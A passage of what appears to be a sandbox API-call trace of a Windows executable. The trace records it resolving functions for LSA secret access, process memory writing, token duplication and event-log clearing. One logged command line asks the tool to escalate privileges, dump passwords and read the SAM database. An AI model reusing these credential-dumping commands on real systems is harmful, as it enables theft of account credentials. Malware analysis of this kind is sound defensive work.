(hModule=0x77940000, lpProcName="GetModuleHandleW") returned 0x77963730 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="GlobalSize") returned 0x7798e400 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="FreeLibrary") returned 0x77956620 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="GetProcAddress") returned 0x77963690 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="LoadLibraryW") returned 0x77956f80 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="lstrlenA") returned 0x7795caf0 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="ExitProcess") returned 0x77a840f0 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="RaiseException") returned 0x7794cf10 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleCtrlHandler") returned 0x77956f00 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="GetTickCount") returned 0x77962b00 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="QueryPerformanceCounter") returned 0x77956500 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="FormatMessageA") returned 0x7798c230 [0191.919] GetProcAddress (hModule=0x77940000, lpProcName="GetSystemTime") returned 0x77963540 [0191.920] GetProcAddress (hModule=0x77940000, lpProcName="GetProcessHeap") returned 0x77963050 [0191.920] GetProcAddress (hModule=0x77940000, lpProcName="GetCurrentProcessId") returned 0x77955a50 [0191.923] GetProcAddress (hModule=0x77940000, lpProcName="DeleteCriticalSection") returned 0x77a85350 [0191.923] GetProcAddress (hModule=0x77940000, lpProcName="GetFileSize") returned 0x7794f9d0 [0191.923] GetProcAddress (hModule=0x77940000, lpProcName="LockFileEx") returned 0x7798bea0 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="CreateFileMappingA") returned 0x7794ead0 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="UnlockFile") returned 0x7798bc30 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="HeapDestroy") returned 0x77951490 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="HeapCompact") returned 0x7798bfa0 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="HeapAlloc") returned 0x77ab33a0 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="GetSystemInfo") returned 0x77956f70 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="HeapReAlloc") returned 0x77a93f20 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="DeleteFileW") returned 0x7794ad90 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="GetVersionExA") returned 0x779570c0 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="WaitForSingleObjectEx") returned 0x77962ff0 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="FlushViewOfFile") returned 0x7798c290 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="OutputDebugStringW") returned 0x7794b760 [0191.924] GetProcAddress (hModule=0x77940000, lpProcName="GetFileAttributesExW") returned 0x7794b7a0 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="GetFileAttributesA") returned 0x779513e0 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="GetDiskFreeSpaceA") returned 0x7798c140 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="FormatMessageW") returned 0x77953840 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="MultiByteToWideChar") returned 0x77955b50 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="HeapSize") returned 0x77a882d0 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="HeapValidate") returned 0x779510e0 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="GetVersionExW") returned 0x7794d910 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="CreateMutexW") returned 0x779513c0 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="GetTempPathW") returned 0x779a2040 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="UnlockFileEx") returned 0x7798bc10 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="SetEndOfFile") returned 0x7798bd70 [0191.925] GetProcAddress (hModule=0x77940000, lpProcName="GetFullPathNameA") returned 0x77963670 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="InitializeCriticalSection") returned 0x77a88100 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="LeaveCriticalSection") returned 0x77ab3000 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="LockFile") returned 0x7798bed0 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="OutputDebugStringA") returned 0x77944f60 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="GetDiskFreeSpaceW") returned 0x7798c110 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="GetFullPathNameW") returned 0x779576e0 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="EnterCriticalSection") returned 0x77ab2fc0 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="HeapFree") returned 0x77963070 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="HeapCreate") returned 0x779570e0 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="TryEnterCriticalSection") returned 0x77a85320 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="AreFileApisANSI") returned 0x7798c5d0 [0191.926] GetProcAddress (hModule=0x77940000, lpProcName="GetDateFormatW") returned 0x7794be40 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="GetSystemTimeAsFileTime") returned 0x77953f40 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="WideCharToMultiByte") returned 0x779635f0 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="SystemTimeToFileTime") returned 0x77963560 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="GetTimeFormatW") returned 0x7794c830 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="lstrlenW") returned 0x77953ec0 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="ClearCommError") returned 0x7798a450 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="PurgeComm") returned 0x77989760 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="CreateRemoteThread") returned 0x7798c4f0 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="WaitForSingleObject") returned 0x77962b20 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="SetLastError") returned 0x77962df0 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="CreateProcessW") returned 0x77961bb0 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="GetCPInfo") returned 0x77956ce0 [0191.927] GetProcAddress (hModule=0x77940000, lpProcName="GetEnvironmentStringsW") returned 0x77956d00 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="FreeEnvironmentStringsW") returned 0x77956d20 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="SetEnvironmentVariableA") returned 0x7798bd60 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="SetEnvironmentVariableW") returned 0x77956ee0 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="SetFilePointerEx") returned 0x7794af00 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="WriteConsoleW") returned 0x77953d40 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleOutputCP") returned 0x779a9fe0 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="GetConsoleOutputCP") returned 0x77959780 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="MapViewOfFile") returned 0x7794e390 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="CreateFileMappingW") returned 0x7794f9f0 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="UnmapViewOfFile") returned 0x77963580 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="VirtualQueryEx") returned 0x7798bb60 [0191.928] GetProcAddress (hModule=0x77940000, lpProcName="VirtualQuery") returned 0x7795bd40 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="VirtualFreeEx") returned 0x7798bb90 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="ReadProcessMemory") returned 0x7798bdc0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="VirtualAllocEx") returned 0x7798bbd0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="VirtualProtectEx") returned 0x7798bb70 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="VirtualAlloc") returned 0x779567a0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="VirtualFree") returned 0x77951260 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="VirtualProtect") returned 0x77942ef0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="ReadConsoleW") returned 0x779aa5a0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="WriteProcessMemory") returned 0x7798bad0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="GetComputerNameExW") returned 0x7794cb50 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="DeviceIoControl") returned 0x779567c0 [0191.929] GetProcAddress (hModule=0x77940000, lpProcName="OpenProcess") returned 0x7795cad0 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="DuplicateHandle") returned 0x77955d10 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="GetCurrentProcess") returned 0x77955cf0 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="FlushFileBuffers") returned 0x779469f0 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="GetCurrentDirectoryW") returned 0x7795c580 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="GetFileAttributesW") returned 0x7795bdd0 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="FindClose") returned 0x7795bd60 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="ExpandEnvironmentStringsW") returned 0x779571b0 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="FindNextFileW") returned 0x77951910 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="GetFileSizeEx") returned 0x77949b30 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="FindFirstFileW") returned 0x7795bd80 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="FileTimeToDosDateTime") returned 0x77991190 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="GetTempFileNameA") returned 0x779a1ee0 [0191.930] GetProcAddress (hModule=0x77940000, lpProcName="FileTimeToLocalFileTime") returned 0x7794b210 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="DeleteFileA") returned 0x779514e0 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="CreateFileA") returned 0x779631f0 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="GetTempPathA") returned 0x779a2060 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="GetFileInformationByHandle") returned 0x779501f0 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="GetCurrentDirectoryA") returned 0x7794ec50 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="SetFilePointer") returned 0x77951150 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="LocalFree") returned 0x779547a0 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="CreateThread") returned 0x77956580 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="CloseHandle") returned 0x77962f80 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="TerminateThread") returned 0x77951280 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="GetLastError") returned 0x77962dd0 [0191.931] GetProcAddress (hModule=0x77940000, lpProcName="Sleep") returned 0x77962b70 [0191.932] GetProcAddress (hModule=0x77940000, lpProcName="CreateFileW") returned 0x77951870 [0191.932] GetProcAddress (hModule=0x77940000, lpProcName="LocalAlloc") returned 0x779547c0 [0191.932] GetProcAddress (hModule=0x77940000, lpProcName="WriteFile") returned 0x779635a0 [0191.932] GetProcAddress (hModule=0x77940000, lpProcName="ReadFile") returned 0x77951500 [0191.932] GetProcAddress (hModule=0x77940000, lpProcName="FileTimeToSystemTime") returned 0x7794af20 [0191.932] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7feff550000 [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptReleaseContext") returned 0x7feff55dd10 [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptGenKey") returned 0x7feff5519bc [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptGetProvParam") returned 0x7feff58b538 [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptGetHashParam") returned 0x7feff55db20 [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptImportKey") returned 0x7feff55af6c [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptSetKeyParam") returned 0x7feff58b508 [0191.932] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptDestroyHash") returned 0x7feff55db00 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptSetHashParam") returned 0x7feff58b514 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptHashData") returned 0x7feff55dac0 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptCreateHash") returned 0x7feff55dad4 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptExportKey") returned 0x7feff558140 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptDecrypt") returned 0x7feff58b6d0 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="SystemFunction007") returned 0x7feff55c800 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptDuplicateKey") returned 0x7feff58b690 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptEncrypt") returned 0x7feff58b650 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptAcquireContextW") returned 0x7feff55d98c [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptGetKeyParam") returned 0x7feff58b554 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptAcquireContextA") returned 0x7feff558180 [0191.933] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptDestroyKey") returned 0x7feff55afa0 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="GetLengthSid") returned 0x7feff56b580 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="CopySid") returned 0x7feff56bda0 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaClose") returned 0x7feff572040 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaOpenPolicy") returned 0x7feff570b40 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaQueryInformationPolicy") returned 0x7feff5720b0 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="CreateWellKnownSid") returned 0x7feff55dd34 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="CreateProcessAsUserW") returned 0x7feff55afe8 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="CreateProcessWithLogonW") returned 0x7feff5bfa50 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="RegQueryValueExW") returned 0x7feff56c2d0 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="RegEnumValueW") returned 0x7feff56c420 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="RegOpenKeyExW") returned 0x7feff5706f0 [0191.934] GetProcAddress (hModule=0x7feff550000, lpProcName="RegSetValueExW") returned 0x7feff561ed0 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="RegEnumKeyExW") returned 0x7feff56c310 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="RegQueryInfoKeyW") returned 0x7feff56c360 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="RegCloseKey") returned 0x7feff570710 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="SystemFunction032") returned 0x7feff5a38f0 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="ConvertSidToStringSidW") returned 0x7feff56bf70 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="QueryServiceObjectSecurity") returned 0x7feff58b23c [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="QueryServiceStatusEx") returned 0x7feff557004 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="BuildSecurityDescriptorW") returned 0x7feff555e80 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="OpenServiceW") returned 0x7feff55c2c0 [0191.935] GetProcAddress (hModule=0x7feff550000, lpProcName="StartServiceW") returned 0x7feff556ff0 [0191.942] GetProcAddress (hModule=0x7feff550000, lpProcName="FreeSid") returned 0x7feff56b818 [0191.942] GetProcAddress (hModule=0x7feff550000, lpProcName="ControlService") returned 0x7feff573bd8 [0191.943] GetProcAddress (hModule=0x7feff550000, lpProcName="SetServiceObjectSecurity") returned 0x7feff58b1ac [0191.943] GetProcAddress (hModule=0x7feff550000, lpProcName="DeleteService") returned 0x7feff573bc4 [0191.943] GetProcAddress (hModule=0x7feff550000, lpProcName="AllocateAndInitializeSid") returned 0x7feff56b63c [0191.943] GetProcAddress (hModule=0x7feff550000, lpProcName="OpenSCManagerW") returned 0x7feff55c2a8 [0191.943] GetProcAddress (hModule=0x7feff550000, lpProcName="CloseServiceHandle") returned 0x7feff567e04 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="CreateServiceW") returned 0x7feff573b44 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="IsTextUnicode") returned 0x7feff570720 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="GetTokenInformation") returned 0x7feff56bd50 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="LookupAccountNameW") returned 0x7feff55ded4 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="LookupAccountSidW") returned 0x7feff56b898 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="DuplicateTokenEx") returned 0x7feff55d310 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="CheckTokenMembership") returned 0x7feff55d980 [0191.944] GetProcAddress (hModule=0x7feff550000, lpProcName="OpenProcessToken") returned 0x7feff56bd70 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptEnumProvidersW") returned 0x7feff58b5b0 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="ConvertStringSidToSidW") returned 0x7feff570ec0 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaFreeMemory") returned 0x7feff55e390 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="SetThreadToken") returned 0x7feff55d344 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="SystemFunction006") returned 0x7feff5568e0 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptEnumProviderTypesW") returned 0x7feff58b600 [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptSetProvParam") returned 0x7feff58b4fc [0191.945] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptGetUserKey") returned 0x7feff58b52c [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="OpenEventLogW") returned 0x7feff556a90 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="ClearEventLogW") returned 0x7feff5b1f00 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="GetNumberOfEventLogRecords") returned 0x7feff5b20d0 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptSignHashW") returned 0x7feff58b474 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaRetrievePrivateData") returned 0x7feff554450 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaOpenSecret") returned 0x7feff5b9c40 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaQueryTrustedDomainInfoByName") returned 0x7feff598d80 [0191.946] GetProcAddress (hModule=0x7feff550000, lpProcName="CryptDeriveKey") returned 0x7feff58b6b0 [0191.947] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaQuerySecret") returned 0x7feff5b9ba0 [0191.947] GetProcAddress (hModule=0x7feff550000, lpProcName="SystemFunction001") returned 0x7feff58da0c [0191.947] GetProcAddress (hModule=0x7feff550000, lpProcName="SystemFunction005") returned 0x7feff58d934 [0191.947] GetProcAddress (hModule=0x7feff550000, lpProcName="SystemFunction013") returned 0x7feff5b0c30 [0191.947] GetProcAddress (hModule=0x7feff550000, lpProcName="LsaEnumerateTrustedDomainsEx") returned 0x7feff598c80 [0191.947] GetProcAddress (hModule=0x7feff550000, lpProcName="LookupPrivilegeValueW") returned 0x7feff56b9e0 [0191.948] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7feff550000 [0191.948] LoadLibraryA (lpLibFileName="Cabinet.dll") returned 0x7fef4b80000 [0191.949] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x7fefdae0000 [0191.949] LoadLibraryA (lpLibFileName="cryptdll.dll") returned 0x7fefd540000 [0191.950] LoadLibraryA (lpLibFileName="FLTLIB.DLL") returned 0x7fefbd50000 [0191.950] LoadLibraryA (lpLibFileName="HID.DLL") returned 0x7fefbf40000 [0191.950] LoadLibraryA (lpLibFileName="msasn1.dll") returned 0x7fefda50000 [0191.950] LoadLibraryA (lpLibFileName="NETAPI32.dll") returned 0x7fefbc00000 [0191.958] VirtualProtect (in: lpAddress=0x13f950000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x12fcd0 | out: lpflOldProtect=0x12fcd0*=0x2) returned 1 [0192.007] VirtualProtect (in: lpAddress=0x13f950000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x12fcd0 | out: lpflOldProtect=0x12fcd0*=0x4) returned 1 [0192.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fcd8 | out: lpSystemTimeAsFileTime=0x12fcd8*(dwLowDateTime=0x2bc9c990, dwHighDateTime=0x1d6080d)) [0192.017] GetCurrentThreadId () returned 0x614 [0192.017] GetCurrentProcessId () returned 0xb00 [0192.017] QueryPerformanceCounter (in: lpPerformanceCount=0x12fce0 | out: lpPerformanceCount=0x12fce0*=31088541264) returned 1 [0192.021] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.021] GetLastError () returned 0x57 [0192.021] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef4b70000 [0192.073] GetProcAddress (hModule=0x7fef4b70000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0192.073] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.073] GetLastError () returned 0x57 [0192.073] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0192.074] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.074] GetLastError () returned 0x57 [0192.074] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77940000 [0192.074] GetProcAddress (hModule=0x77940000, lpProcName="FlsAlloc") returned 0x77957190 [0192.078] GetProcAddress (hModule=0x77940000, lpProcName="FlsSetValue") returned 0x7795bd90 [0192.082] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.082] GetLastError () returned 0x57 [0192.082] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef4b70000 [0192.082] GetProcAddress (hModule=0x7fef4b70000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0192.086] GetProcessHeap () returned 0x140000 [0192.090] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.090] GetLastError () returned 0x57 [0192.090] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0192.129] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0192.129] GetLastError () returned 0x57 [0192.129] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77940000 [0192.129] GetProcAddress (hModule=0x77940000, lpProcName="FlsAlloc") returned 0x77957190 [0192.129] GetLastError () returned 0x57 [0192.129] GetProcAddress (hModule=0x77940000, lpProcName="FlsGetValue") returned 0x77963520 [0192.129] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x3c8) returned 0x170150 [0192.130] GetProcAddress (hModule=0x77940000, lpProcName="FlsSetValue") returned 0x7795bd90 [0192.130] SetLastError (dwErrCode=0x57) [0192.133] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x8, Size=0x1000) returned 0x170520 [0192.193] GetStartupInfoW (in: lpStartupInfo=0x12fbb0 | out: lpStartupInfo=0x12fbb0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\x64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x720, hStdError=0x0)) [0192.193] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0192.194] GetStdHandle (nStdHandle=0xfffffff5) returned 0x720 [0192.194] GetFileType (hFile=0x720) returned 0x3 [0192.194] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0192.194] GetCommandLineA () returned="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit" [0192.194] GetCommandLineW () returned="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit" [0192.197] GetLastError () returned 0x57 [0192.198] SetLastError (dwErrCode=0x57) [0192.198] GetLastError () returned 0x57 [0192.198] SetLastError (dwErrCode=0x57) [0192.198] GetACP () returned 0x4e4 [0192.198] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x0, Size=0x228) returned 0x172530 [0192.198] IsValidCodePage (CodePage=0x4e4) returned 1 [0192.198] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fb80 | out: lpCPInfo=0x12fb80) returned 1 [0192.198] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f420 | out: lpCPInfo=0x12f420) returned 1 [0192.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f440, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0192.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f440, cbMultiByte=256, lpWideCharStr=0x12f170, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䈰\x14") returned 256 [0192.204] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䈰\x14", cchSrc=256, lpCharType=0x12f740 | out: lpCharType=0x12f740) returned 1 [0192.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f440, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0192.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f440, cbMultiByte=256, lpWideCharStr=0x12f110, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 